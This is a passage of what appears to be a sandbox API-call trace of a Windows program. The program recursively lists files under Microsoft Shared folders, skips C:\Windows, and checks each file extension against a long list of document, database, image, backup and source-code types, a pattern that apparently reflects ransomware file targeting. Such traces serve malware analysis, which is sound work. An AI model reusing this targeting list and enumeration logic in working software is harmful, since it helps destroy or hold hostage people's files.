lpString2=".cab") returned 1 [0075.048] lstrlenW (lpString=".p7c") returned 4 [0075.048] lstrcmpiW (lpString1=".p7c", lpString2=".cab") returned 1 [0075.048] lstrlenW (lpString=".pam") returned 4 [0075.048] lstrcmpiW (lpString1=".pam", lpString2=".cab") returned 1 [0075.048] lstrlenW (lpString=".pbm") returned 4 [0075.048] lstrcmpiW (lpString1=".pbm", lpString2=".cab") returned 1 [0075.048] lstrlenW (lpString=".pct") returned 4 [0075.049] lstrcmpiW (lpString1=".pct", lpString2=".cab") returned 1 [0075.049] lstrlenW (lpString=".pcx") returned 4 [0075.049] lstrcmpiW (lpString1=".pcx", lpString2=".cab") returned 1 [0075.049] lstrlenW (lpString=".pdd") returned 4 [0075.049] lstrcmpiW (lpString1=".pdd", lpString2=".cab") returned 1 [0075.049] lstrlenW (lpString=".pdf") returned 4 [0075.049] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0075.049] lstrlenW (lpString=".pdp") returned 4 [0075.049] lstrcmpiW (lpString1=".pdp", lpString2=".cab") returned 1 [0075.049] lstrlenW (lpString=".pef") returned 4 [0075.049] lstrcmpiW (lpString1=".pef", lpString2=".cab") returned 1 [0075.049] lstrlenW (lpString=".pem") returned 4 [0075.049] lstrcmpiW (lpString1=".pem", lpString2=".cab") returned 1 [0075.049] lstrlenW (lpString=".pff") returned 4 [0075.049] lstrcmpiW (lpString1=".pff", lpString2=".cab") returned 1 [0075.049] lstrlenW (lpString=".pfm") returned 4 [0075.049] lstrcmpiW (lpString1=".pfm", lpString2=".cab") returned 1 [0075.050] lstrlenW (lpString=".pfx") returned 4 [0075.050] lstrcmpiW (lpString1=".pfx", lpString2=".cab") returned 1 [0075.050] lstrlenW (lpString=".pgm") returned 4 [0075.050] lstrcmpiW (lpString1=".pgm", lpString2=".cab") returned 1 [0075.050] lstrlenW (lpString=".php") returned 4 [0075.050] lstrcmpiW (lpString1=".php", lpString2=".cab") returned 1 [0075.050] lstrlenW (lpString=".php3") returned 5 [0075.050] lstrcmpiW (lpString1=".php3", lpString2="R.cab") returned -1 [0075.050] lstrlenW (lpString=".php4") returned 5 [0075.050] lstrcmpiW (lpString1=".php4", lpString2="R.cab") returned -1 [0075.050] lstrlenW (lpString=".php5") returned 5 [0075.050] lstrcmpiW (lpString1=".php5", lpString2="R.cab") returned -1 [0075.050] lstrlenW (lpString=".phtml") returned 6 [0075.050] lstrcmpiW (lpString1=".phtml", lpString2="LR.cab") returned -1 [0075.050] lstrlenW (lpString=".pict") returned 5 [0075.050] lstrcmpiW (lpString1=".pict", lpString2="R.cab") returned -1 [0075.050] lstrlenW (lpString=".pl") returned 3 [0075.050] lstrcmpiW (lpString1=".pl", lpString2="cab") returned -1 [0075.050] lstrlenW (lpString=".pls") returned 4 [0075.050] lstrcmpiW (lpString1=".pls", lpString2=".cab") returned 1 [0075.050] lstrlenW (lpString=".pm") returned 3 [0075.050] lstrcmpiW (lpString1=".pm", lpString2="cab") returned -1 [0075.051] lstrlenW (lpString=".png") returned 4 [0075.051] lstrcmpiW (lpString1=".png", lpString2=".cab") returned 1 [0075.051] lstrlenW (lpString=".pnm") returned 4 [0075.051] lstrcmpiW (lpString1=".pnm", lpString2=".cab") returned 1 [0075.051] lstrlenW (lpString=".pot") returned 4 [0075.051] lstrcmpiW (lpString1=".pot", lpString2=".cab") returned 1 [0075.051] lstrlenW (lpString=".potm") returned 5 [0075.051] lstrcmpiW (lpString1=".potm", lpString2="R.cab") returned -1 [0075.051] lstrlenW (lpString=".potx") returned 5 [0075.051] lstrcmpiW (lpString1=".potx", lpString2="R.cab") returned -1 [0075.051] lstrlenW (lpString=".ppa") returned 4 [0075.051] lstrcmpiW (lpString1=".ppa", lpString2=".cab") returned 1 [0075.051] lstrlenW (lpString=".ppam") returned 5 [0075.051] lstrcmpiW (lpString1=".ppam", lpString2="R.cab") returned -1 [0075.051] lstrlenW (lpString=".ppm") returned 4 [0075.052] lstrcmpiW (lpString1=".ppm", lpString2=".cab") returned 1 [0075.052] lstrlenW (lpString=".pps") returned 4 [0075.052] lstrcmpiW (lpString1=".pps", lpString2=".cab") returned 1 [0075.052] lstrlenW (lpString=".ppsm") returned 5 [0075.052] lstrcmpiW (lpString1=".ppsm", lpString2="R.cab") returned -1 [0075.052] lstrlenW (lpString=".ppt") returned 4 [0075.052] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0075.052] lstrlenW (lpString=".pptm") returned 5 [0075.052] lstrcmpiW (lpString1=".pptm", lpString2="R.cab") returned -1 [0075.052] lstrlenW (lpString=".pptx") returned 5 [0075.052] lstrcmpiW (lpString1=".pptx", lpString2="R.cab") returned -1 [0075.052] lstrlenW (lpString=".prn") returned 4 [0075.052] lstrcmpiW (lpString1=".prn", lpString2=".cab") returned 1 [0075.052] lstrlenW (lpString=".ps") returned 3 [0075.052] lstrcmpiW (lpString1=".ps", lpString2="cab") returned -1 [0075.052] lstrlenW (lpString=".psb") returned 4 [0075.052] lstrcmpiW (lpString1=".psb", lpString2=".cab") returned 1 [0075.052] lstrlenW (lpString=".psd") returned 4 [0075.053] lstrcmpiW (lpString1=".psd", lpString2=".cab") returned 1 [0075.053] lstrlenW (lpString=".pst") returned 4 [0075.053] lstrcmpiW (lpString1=".pst", lpString2=".cab") returned 1 [0075.053] lstrlenW (lpString=".ptx") returned 4 [0075.053] lstrcmpiW (lpString1=".ptx", lpString2=".cab") returned 1 [0075.053] lstrlenW (lpString=".pub") returned 4 [0075.053] lstrcmpiW (lpString1=".pub", lpString2=".cab") returned 1 [0075.053] lstrlenW (lpString=".pwm") returned 4 [0075.053] lstrcmpiW (lpString1=".pwm", lpString2=".cab") returned 1 [0075.053] lstrlenW (lpString=".pxr") returned 4 [0075.053] lstrcmpiW (lpString1=".pxr", lpString2=".cab") returned 1 [0075.053] lstrlenW (lpString=".py") returned 3 [0075.053] lstrcmpiW (lpString1=".py", lpString2="cab") returned -1 [0075.053] lstrlenW (lpString=".qt") returned 3 [0075.053] lstrcmpiW (lpString1=".qt", lpString2="cab") returned -1 [0075.053] lstrlenW (lpString=".r3d") returned 4 [0075.053] lstrcmpiW (lpString1=".r3d", lpString2=".cab") returned 1 [0076.619] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.619] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07d0e00, ftCreationTime.dwHighDateTime=0x1ca2cea, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa07d0e00, ftLastWriteTime.dwHighDateTime=0x1ca2cea, nFileSizeHigh=0x0, nFileSizeLow=0x90540, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSLID.DLL", cAlternateFileName="")) returned 1 [0076.619] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782b2c00, ftCreationTime.dwHighDateTime=0x1bada3f, ftLastAccessTime.dwLowDateTime=0x98a53b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x782b2c00, ftLastWriteTime.dwHighDateTime=0x1bada3f, nFileSizeHigh=0x0, nFileSizeLow=0x6c67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_EN.LEX", cAlternateFileName="")) returned 1 [0076.620] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e2ea00, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x5b0da70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5e2ea00, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x60983, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_ES.LEX", cAlternateFileName="")) returned 1 [0076.620] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 1 [0076.621] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 0 [0076.621] FindClose (in: hFindFile=0x39742f0 | out: hFindFile=0x39742f0) returned 1 [0076.621] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3910090 | out: hHeap=0x5b0000) returned 1 [0076.621] FindNextFileW (in: hFindFile=0x3974230, lpFindFileData=0x354f58c | out: lpFindFileData=0x354f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="SMARTT~1")) returned 1 [0076.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag") returned 56 [0076.621] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag") returned 1 [0076.621] lstrlenW (lpString="Smart Tag") returned 9 [0076.621] lstrcmpiW (lpString1="C:\\Windows", lpString2="Smart Tag") returned -1 [0076.622] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3910090 [0076.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag") returned 56 [0076.622] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*", lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974370 [0077.061] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.061] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0077.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033") returned 61 [0077.061] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033") returned 1 [0077.061] lstrlenW (lpString="1033") returned 4 [0077.061] lstrcmpiW (lpString1="C:\\Windows", lpString2="1033") returned 1 [0077.061] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3f2a088 [0077.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033") returned 61 [0077.132] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*", lpFindFileData=0x354f094 | out: lpFindFileData=0x354f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974330 [0077.133] FindNextFileW (in: hFindFile=0x3974330, lpFindFileData=0x354f094 | out: lpFindFileData=0x354f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.134] FindNextFileW (in: hFindFile=0x3974330, lpFindFileData=0x354f094 | out: lpFindFileData=0x354f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc52bb100, ftCreationTime.dwHighDateTime=0x1ca6185, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc52bb100, ftLastWriteTime.dwHighDateTime=0x1ca6185, nFileSizeHigh=0x0, nFileSizeLow=0x2cc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCABOUT.HTM", cAlternateFileName="")) returned 1 [0077.134] lstrlenW (lpString="MCABOUT.HTM") returned 11 [0077.134] lstrlenW (lpString=".1cd") returned 4 [0077.134] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0077.134] lstrlenW (lpString=".3ds") returned 4 [0077.134] lstrcmpiW (lpString1=".3ds", lpString2=".HTM") returned -1 [0077.134] lstrlenW (lpString=".3fr") returned 4 [0077.134] lstrcmpiW (lpString1=".3fr", lpString2=".HTM") returned -1 [0077.134] lstrlenW (lpString=".3g2") returned 4 [0077.135] lstrcmpiW (lpString1=".3g2", lpString2=".HTM") returned -1 [0077.135] lstrlenW (lpString=".3gp") returned 4 [0077.135] lstrcmpiW (lpString1=".3gp", lpString2=".HTM") returned -1 [0077.135] lstrlenW (lpString=".7z") returned 3 [0077.135] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0077.135] lstrlenW (lpString=".accda") returned 6 [0077.135] lstrcmpiW (lpString1=".accda", lpString2="UT.HTM") returned -1 [0077.135] lstrlenW (lpString=".accdb") returned 6 [0077.135] lstrcmpiW (lpString1=".accdb", lpString2="UT.HTM") returned -1 [0077.135] lstrlenW (lpString=".accdc") returned 6 [0077.135] lstrcmpiW (lpString1=".accdc", lpString2="UT.HTM") returned -1 [0077.135] lstrlenW (lpString=".accde") returned 6 [0077.135] lstrcmpiW (lpString1=".accde", lpString2="UT.HTM") returned -1 [0077.136] lstrlenW (lpString=".accdt") returned 6 [0077.136] lstrcmpiW (lpString1=".accdt", lpString2="UT.HTM") returned -1 [0077.136] lstrlenW (lpString=".accdw") returned 6 [0077.136] lstrcmpiW (lpString1=".accdw", lpString2="UT.HTM") returned -1 [0077.136] lstrlenW (lpString=".adb") returned 4 [0077.136] lstrcmpiW (lpString1=".adb", lpString2=".HTM") returned -1 [0077.136] lstrlenW (lpString=".adp") returned 4 [0077.136] lstrcmpiW (lpString1=".adp", lpString2=".HTM") returned -1 [0077.136] lstrlenW (lpString=".ai") returned 3 [0077.136] lstrcmpiW (lpString1=".ai", lpString2="HTM") returned -1 [0077.136] lstrlenW (lpString=".ai3") returned 4 [0077.136] lstrcmpiW (lpString1=".ai3", lpString2=".HTM") returned -1 [0077.136] lstrlenW (lpString=".ai4") returned 4 [0077.136] lstrcmpiW (lpString1=".ai4", lpString2=".HTM") returned -1 [0077.136] lstrlenW (lpString=".ai5") returned 4 [0077.137] lstrcmpiW (lpString1=".ai5", lpString2=".HTM") returned -1 [0077.137] lstrlenW (lpString=".ai6") returned 4 [0077.137] lstrcmpiW (lpString1=".ai6", lpString2=".HTM") returned -1 [0077.137] lstrlenW (lpString=".ai7") returned 4 [0077.137] lstrcmpiW (lpString1=".ai7", lpString2=".HTM") returned -1 [0077.137] lstrlenW (lpString=".ai8") returned 4 [0077.137] lstrcmpiW (lpString1=".ai8", lpString2=".HTM") returned -1 [0077.137] lstrlenW (lpString=".anim") returned 5 [0077.137] lstrcmpiW (lpString1=".anim", lpString2="T.HTM") returned -1 [0077.137] lstrlenW (lpString=".arw") returned 4 [0077.137] lstrcmpiW (lpString1=".arw", lpString2=".HTM") returned -1 [0077.137] lstrlenW (lpString=".as") returned 3 [0077.137] lstrcmpiW (lpString1=".as", lpString2="HTM") returned -1 [0077.137] lstrlenW (lpString=".asa") returned 4 [0077.137] lstrcmpiW (lpString1=".asa", lpString2=".HTM") returned -1 [0077.137] lstrlenW (lpString=".asc") returned 4 [0077.137] lstrcmpiW (lpString1=".asc", lpString2=".HTM") returned -1 [0077.138] lstrlenW (lpString=".ascx") returned 5 [0077.138] lstrcmpiW (lpString1=".ascx", lpString2="T.HTM") returned -1 [0077.138] lstrlenW (lpString=".asm") returned 4 [0077.138] lstrcmpiW (lpString1=".asm", lpString2=".HTM") returned -1 [0077.138] lstrlenW (lpString=".asmx") returned 5 [0077.138] lstrcmpiW (lpString1=".asmx", lpString2="T.HTM") returned -1 [0077.138] lstrlenW (lpString=".asp") returned 4 [0077.138] lstrcmpiW (lpString1=".asp", lpString2=".HTM") returned -1 [0077.138] lstrlenW (lpString=".aspx") returned 5 [0077.138] lstrcmpiW (lpString1=".aspx", lpString2="T.HTM") returned -1 [0077.138] lstrlenW (lpString=".asr") returned 4 [0077.138] lstrcmpiW (lpString1=".asr", lpString2=".HTM") returned -1 [0077.138] lstrlenW (lpString=".asx") returned 4 [0077.139] lstrcmpiW (lpString1=".asx", lpString2=".HTM") returned -1 [0077.139] lstrlenW (lpString=".avi") returned 4 [0077.139] lstrcmpiW (lpString1=".avi", lpString2=".HTM") returned -1 [0077.139] lstrlenW (lpString=".avs") returned 4 [0077.139] lstrcmpiW (lpString1=".avs", lpString2=".HTM") returned -1 [0077.139] lstrlenW (lpString=".backup") returned 7 [0077.139] lstrcmpiW (lpString1=".backup", lpString2="OUT.HTM") returned -1 [0077.139] lstrlenW (lpString=".bak") returned 4 [0077.139] lstrcmpiW (lpString1=".bak", lpString2=".HTM") returned -1 [0077.139] lstrlenW (lpString=".bay") returned 4 [0077.139] lstrcmpiW (lpString1=".bay", lpString2=".HTM") returned -1 [0077.139] lstrlenW (lpString=".bd") returned 3 [0077.139] lstrcmpiW (lpString1=".bd", lpString2="HTM") returned -1 [0077.139] lstrlenW (lpString=".bin") returned 4 [0077.139] lstrcmpiW (lpString1=".bin", lpString2=".HTM") returned -1 [0077.139] lstrlenW (lpString=".bmp") returned 4 [0077.139] lstrcmpiW (lpString1=".bmp", lpString2=".HTM") returned -1 [0077.139] lstrlenW (lpString=".bz2") returned 4 [0077.139] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0077.139] lstrlenW (lpString=".c") returned 2 [0077.140] lstrcmpiW (lpString1=".c", lpString2="TM") returned -1 [0077.140] lstrlenW (lpString=".cdr") returned 4 [0077.140] lstrcmpiW (lpString1=".cdr", lpString2=".HTM") returned -1 [0077.140] lstrlenW (lpString=".cer") returned 4 [0077.140] lstrcmpiW (lpString1=".cer", lpString2=".HTM") returned -1 [0077.140] lstrlenW (lpString=".cf") returned 3 [0077.140] lstrcmpiW (lpString1=".cf", lpString2="HTM") returned -1 [0077.140] lstrlenW (lpString=".cfc") returned 4 [0077.140] lstrcmpiW (lpString1=".cfc", lpString2=".HTM") returned -1 [0077.140] lstrlenW (lpString=".cfm") returned 4 [0077.140] lstrcmpiW (lpString1=".cfm", lpString2=".HTM") returned -1 [0077.140] lstrlenW (lpString=".cfml") returned 5 [0077.140] lstrcmpiW (lpString1=".cfml", lpString2="T.HTM") returned -1 [0077.140] lstrlenW (lpString=".cfu") returned 4 [0077.140] lstrcmpiW (lpString1=".cfu", lpString2=".HTM") returned -1 [0077.140] lstrlenW (lpString=".chm") returned 4 [0077.140] lstrcmpiW (lpString1=".chm", lpString2=".HTM") returned -1 [0077.140] lstrlenW (lpString=".cin") returned 4 [0077.140] lstrcmpiW (lpString1=".cin", lpString2=".HTM") returned -1 [0077.140] lstrlenW (lpString=".class") returned 6 [0077.140] lstrcmpiW (lpString1=".class", lpString2="UT.HTM") returned -1 [0077.140] lstrlenW (lpString=".clx") returned 4 [0077.140] lstrcmpiW (lpString1=".clx", lpString2=".HTM") returned -1 [0077.140] lstrlenW (lpString=".config") returned 7 [0077.140] lstrcmpiW (lpString1=".config", lpString2="OUT.HTM") returned -1 [0077.140] lstrlenW (lpString=".cpp") returned 4 [0077.140] lstrcmpiW (lpString1=".cpp", lpString2=".HTM") returned -1 [0077.141] lstrlenW (lpString=".cr2") returned 4 [0077.141] lstrcmpiW (lpString1=".cr2", lpString2=".HTM") returned -1 [0077.141] lstrlenW (lpString=".crt") returned 4 [0077.141] lstrcmpiW (lpString1=".crt", lpString2=".HTM") returned -1 [0077.141] lstrlenW (lpString=".crw") returned 4 [0077.141] lstrcmpiW (lpString1=".crw", lpString2=".HTM") returned -1 [0077.141] lstrlenW (lpString=".cs") returned 3 [0077.141] lstrcmpiW (lpString1=".cs", lpString2="HTM") returned -1 [0077.141] lstrlenW (lpString=".css") returned 4 [0077.141] lstrcmpiW (lpString1=".css", lpString2=".HTM") returned -1 [0077.141] lstrlenW (lpString=".csv") returned 4 [0077.141] lstrcmpiW (lpString1=".csv", lpString2=".HTM") returned -1 [0077.141] lstrlenW (lpString=".cub") returned 4 [0077.141] lstrcmpiW (lpString1=".cub", lpString2=".HTM") returned -1 [0077.141] lstrlenW (lpString=".dae") returned 4 [0077.141] lstrcmpiW (lpString1=".dae", lpString2=".HTM") returned -1 [0077.141] lstrlenW (lpString=".dat") returned 4 [0077.142] lstrcmpiW (lpString1=".dat", lpString2=".HTM") returned -1 [0077.142] lstrlenW (lpString=".db") returned 3 [0077.142] lstrcmpiW (lpString1=".db", lpString2="HTM") returned -1 [0077.142] lstrlenW (lpString=".dbf") returned 4 [0077.142] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0077.142] lstrlenW (lpString=".dbx") returned 4 [0077.142] lstrcmpiW (lpString1=".dbx", lpString2=".HTM") returned -1 [0077.142] lstrlenW (lpString=".dc3") returned 4 [0077.142] lstrcmpiW (lpString1=".dc3", lpString2=".HTM") returned -1 [0077.142] lstrlenW (lpString=".dcm") returned 4 [0077.142] lstrcmpiW (lpString1=".dcm", lpString2=".HTM") returned -1 [0077.142] lstrlenW (lpString=".dcr") returned 4 [0077.142] lstrcmpiW (lpString1=".dcr", lpString2=".HTM") returned -1 [0077.142] lstrlenW (lpString=".der") returned 4 [0077.142] lstrcmpiW (lpString1=".der", lpString2=".HTM") returned -1 [0077.142] lstrlenW (lpString=".dib") returned 4 [0077.142] lstrcmpiW (lpString1=".dib", lpString2=".HTM") returned -1 [0077.142] lstrlenW (lpString=".dic") returned 4 [0077.143] lstrcmpiW (lpString1=".dic", lpString2=".HTM") returned -1 [0077.143] lstrlenW (lpString=".dif") returned 4 [0077.143] lstrcmpiW (lpString1=".dif", lpString2=".HTM") returned -1 [0077.143] lstrlenW (lpString=".divx") returned 5 [0077.143] lstrcmpiW (lpString1=".divx", lpString2="T.HTM") returned -1 [0077.143] lstrlenW (lpString=".djvu") returned 5 [0077.143] lstrcmpiW (lpString1=".djvu", lpString2="T.HTM") returned -1 [0077.143] lstrlenW (lpString=".dng") returned 4 [0077.143] lstrcmpiW (lpString1=".dng", lpString2=".HTM") returned -1 [0077.143] lstrlenW (lpString=".doc") returned 4 [0077.143] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0077.143] lstrlenW (lpString=".docm") returned 5 [0077.143] lstrcmpiW (lpString1=".docm", lpString2="T.HTM") returned -1 [0077.143] lstrlenW (lpString=".docx") returned 5 [0077.143] lstrcmpiW (lpString1=".docx", lpString2="T.HTM") returned -1 [0077.143] lstrlenW (lpString=".dot") returned 4 [0077.143] lstrcmpiW (lpString1=".dot", lpString2=".HTM") returned -1 [0077.143] lstrlenW (lpString=".dotm") returned 5 [0077.143] lstrcmpiW (lpString1=".dotm", lpString2="T.HTM") returned -1 [0077.143] lstrlenW (lpString=".dotx") returned 5 [0077.143] lstrcmpiW (lpString1=".dotx", lpString2="T.HTM") returned -1 [0077.143] lstrlenW (lpString=".dpx") returned 4 [0077.143] lstrcmpiW (lpString1=".dpx", lpString2=".HTM") returned -1 [0077.144] lstrlenW (lpString=".dqy") returned 4 [0077.144] lstrcmpiW (lpString1=".dqy", lpString2=".HTM") returned -1 [0077.144] lstrlenW (lpString=".dsn") returned 4 [0077.144] lstrcmpiW (lpString1=".dsn", lpString2=".HTM") returned -1 [0077.144] lstrlenW (lpString=".dt") returned 3 [0077.144] lstrcmpiW (lpString1=".dt", lpString2="HTM") returned -1 [0077.144] lstrlenW (lpString=".dtd") returned 4 [0077.144] lstrcmpiW (lpString1=".dtd", lpString2=".HTM") returned -1 [0077.144] lstrlenW (lpString=".dwg") returned 4 [0077.144] lstrcmpiW (lpString1=".dwg", lpString2=".HTM") returned -1 [0077.144] lstrlenW (lpString=".dwt") returned 4 [0077.144] lstrcmpiW (lpString1=".dwt", lpString2=".HTM") returned -1 [0077.144] lstrlenW (lpString=".dx") returned 3 [0077.144] lstrcmpiW (lpString1=".dx", lpString2="HTM") returned -1 [0077.144] lstrlenW (lpString=".dxf") returned 4 [0077.144] lstrcmpiW (lpString1=".dxf", lpString2=".HTM") returned -1 [0077.144] lstrlenW (lpString=".edml") returned 5 [0077.144] lstrcmpiW (lpString1=".edml", lpString2="T.HTM") returned -1 [0077.144] lstrlenW (lpString=".efd") returned 4 [0077.144] lstrcmpiW (lpString1=".efd", lpString2=".HTM") returned -1 [0077.144] lstrlenW (lpString=".elf") returned 4 [0077.144] lstrcmpiW (lpString1=".elf", lpString2=".HTM") returned -1 [0077.145] lstrlenW (lpString=".emf") returned 4 [0077.145] lstrcmpiW (lpString1=".emf", lpString2=".HTM") returned -1 [0077.145] lstrlenW (lpString=".emz") returned 4 [0077.145] lstrcmpiW (lpString1=".emz", lpString2=".HTM") returned -1 [0077.145] lstrlenW (lpString=".epf") returned 4 [0077.145] lstrcmpiW (lpString1=".epf", lpString2=".HTM") returned -1 [0077.145] lstrlenW (lpString=".eps") returned 4 [0077.145] lstrcmpiW (lpString1=".eps", lpString2=".HTM") returned -1 [0077.145] lstrlenW (lpString=".epsf") returned 5 [0077.145] lstrcmpiW (lpString1=".epsf", lpString2="T.HTM") returned -1 [0077.145] lstrlenW (lpString=".epsp") returned 5 [0077.145] lstrcmpiW (lpString1=".epsp", lpString2="T.HTM") returned -1 [0077.145] lstrlenW (lpString=".erf") returned 4 [0077.145] lstrcmpiW (lpString1=".erf", lpString2=".HTM") returned -1 [0077.145] lstrlenW (lpString=".exr") returned 4 [0077.145] lstrcmpiW (lpString1=".exr", lpString2=".HTM") returned -1 [0077.145] lstrlenW (lpString=".f4v") returned 4 [0077.145] lstrcmpiW (lpString1=".f4v", lpString2=".HTM") returned -1 [0077.145] lstrlenW (lpString=".fido") returned 5 [0077.145] lstrcmpiW (lpString1=".fido", lpString2="T.HTM") 